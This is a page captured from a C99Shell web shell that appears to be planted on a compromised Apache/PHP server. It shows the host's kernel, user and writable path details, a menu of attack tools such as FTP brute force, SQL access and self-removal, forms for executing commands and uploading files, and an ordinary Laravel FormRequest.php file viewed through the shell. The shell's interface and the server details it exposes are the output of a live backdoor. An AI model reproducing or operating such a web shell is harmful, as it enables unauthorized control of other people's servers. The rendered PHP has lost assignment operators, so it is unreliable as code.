!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/laravel/framework/src/Illuminate/Foundation/Http/   drwxrwxrwx
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FormRequest.php (5.84 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Http;

use 
Illuminate\Auth\Access\AuthorizationException;
use 
Illuminate\Contracts\Container\Container;
use 
Illuminate\Contracts\Validation\Factory as ValidationFactory;
use 
Illuminate\Contracts\Validation\ValidatesWhenResolved;
use 
Illuminate\Contracts\Validation\Validator;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Redirector;
use 
Illuminate\Validation\ValidatesWhenResolvedTrait;
use 
Illuminate\Validation\ValidationException;

class 
FormRequest extends Request implements ValidatesWhenResolved
{
    use 
ValidatesWhenResolvedTrait;

    
/**
     * The container instance.
     *
     * @var \Illuminate\Contracts\Container\Container
     */
    
protected $container;

    
/**
     * The redirector instance.
     *
     * @var \Illuminate\Routing\Redirector
     */
    
protected $redirector;

    
/**
     * The URI to redirect to if validation fails.
     *
     * @var string
     */
    
protected $redirect;

    
/**
     * The route to redirect to if validation fails.
     *
     * @var string
     */
    
protected $redirectRoute;

    
/**
     * The controller action to redirect to if validation fails.
     *
     * @var string
     */
    
protected $redirectAction;

    
/**
     * The key to be used for the view error bag.
     *
     * @var string
     */
    
protected $errorBag 'default';

    
/**
     * Indicates whether validation should stop after the first rule failure.
     *
     * @var bool
     */
    
protected $stopOnFirstFailure false;

    
/**
     * The validator instance.
     *
     * @var \Illuminate\Contracts\Validation\Validator
     */
    
protected $validator;

    
/**
     * Get the validator instance for the request.
     *
     * @return \Illuminate\Contracts\Validation\Validator
     */
    
protected function getValidatorInstance()
    {
        if (
$this->validator) {
            return 
$this->validator;
        }

        
$factory $this->container->make(ValidationFactory::class);

        if (
method_exists($this'validator')) {
            
$validator $this->container->call([$this'validator'], compact('factory'));
        } else {
            
$validator $this->createDefaultValidator($factory);
        }

        if (
method_exists($this'withValidator')) {
            
$this->withValidator($validator);
        }

        
$this->setValidator($validator);

        return 
$this->validator;
    }

    
/**
     * Create the default validator instance.
     *
     * @param  \Illuminate\Contracts\Validation\Factory  $factory
     * @return \Illuminate\Contracts\Validation\Validator
     */
    
protected function createDefaultValidator(ValidationFactory $factory)
    {
        return 
$factory->make(
            
$this->validationData(), $this->container->call([$this'rules']),
            
$this->messages(), $this->attributes()
        )->
stopOnFirstFailure($this->stopOnFirstFailure);
    }

    
/**
     * Get data to be validated from the request.
     *
     * @return array
     */
    
public function validationData()
    {
        return 
$this->all();
    }

    
/**
     * Handle a failed validation attempt.
     *
     * @param  \Illuminate\Contracts\Validation\Validator  $validator
     * @return void
     *
     * @throws \Illuminate\Validation\ValidationException
     */
    
protected function failedValidation(Validator $validator)
    {
        throw (new 
ValidationException($validator))
                    ->
errorBag($this->errorBag)
                    ->
redirectTo($this->getRedirectUrl());
    }

    
/**
     * Get the URL to redirect to on a validation error.
     *
     * @return string
     */
    
protected function getRedirectUrl()
    {
        
$url $this->redirector->getUrlGenerator();

        if (
$this->redirect) {
            return 
$url->to($this->redirect);
        } elseif (
$this->redirectRoute) {
            return 
$url->route($this->redirectRoute);
        } elseif (
$this->redirectAction) {
            return 
$url->action($this->redirectAction);
        }

        return 
$url->previous();
    }

    
/**
     * Determine if the request passes the authorization check.
     *
     * @return bool
     */
    
protected function passesAuthorization()
    {
        if (
method_exists($this'authorize')) {
            return 
$this->container->call([$this'authorize']);
        }

        return 
true;
    }

    
/**
     * Handle a failed authorization attempt.
     *
     * @return void
     *
     * @throws \Illuminate\Auth\Access\AuthorizationException
     */
    
protected function failedAuthorization()
    {
        throw new 
AuthorizationException;
    }

    
/**
     * Get the validated data from the request.
     *
     * @return array
     */
    
public function validated()
    {
        return 
$this->validator->validated();
    }

    
/**
     * Get custom messages for validator errors.
     *
     * @return array
     */
    
public function messages()
    {
        return [];
    }

    
/**
     * Get custom attributes for validator errors.
     *
     * @return array
     */
    
public function attributes()
    {
        return [];
    }

    
/**
     * Set the Validator instance.
     *
     * @param  \Illuminate\Contracts\Validation\Validator  $validator
     * @return $this
     */
    
public function setValidator(Validator $validator)
    {
        
$this->validator $validator;

        return 
$this;
    }

    
/**
     * Set the Redirector instance.
     *
     * @param  \Illuminate\Routing\Redirector  $redirector
     * @return $this
     */
    
public function setRedirector(Redirector $redirector)
    {
        
$this->redirector $redirector;

        return 
$this;
    }

    
/**
     * Set the container implementation.
     *
     * @param  \Illuminate\Contracts\Container\Container  $container
     * @return $this
     */
    
public function setContainer(Container $container)
    {
        
$this->container $container;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.007 ]--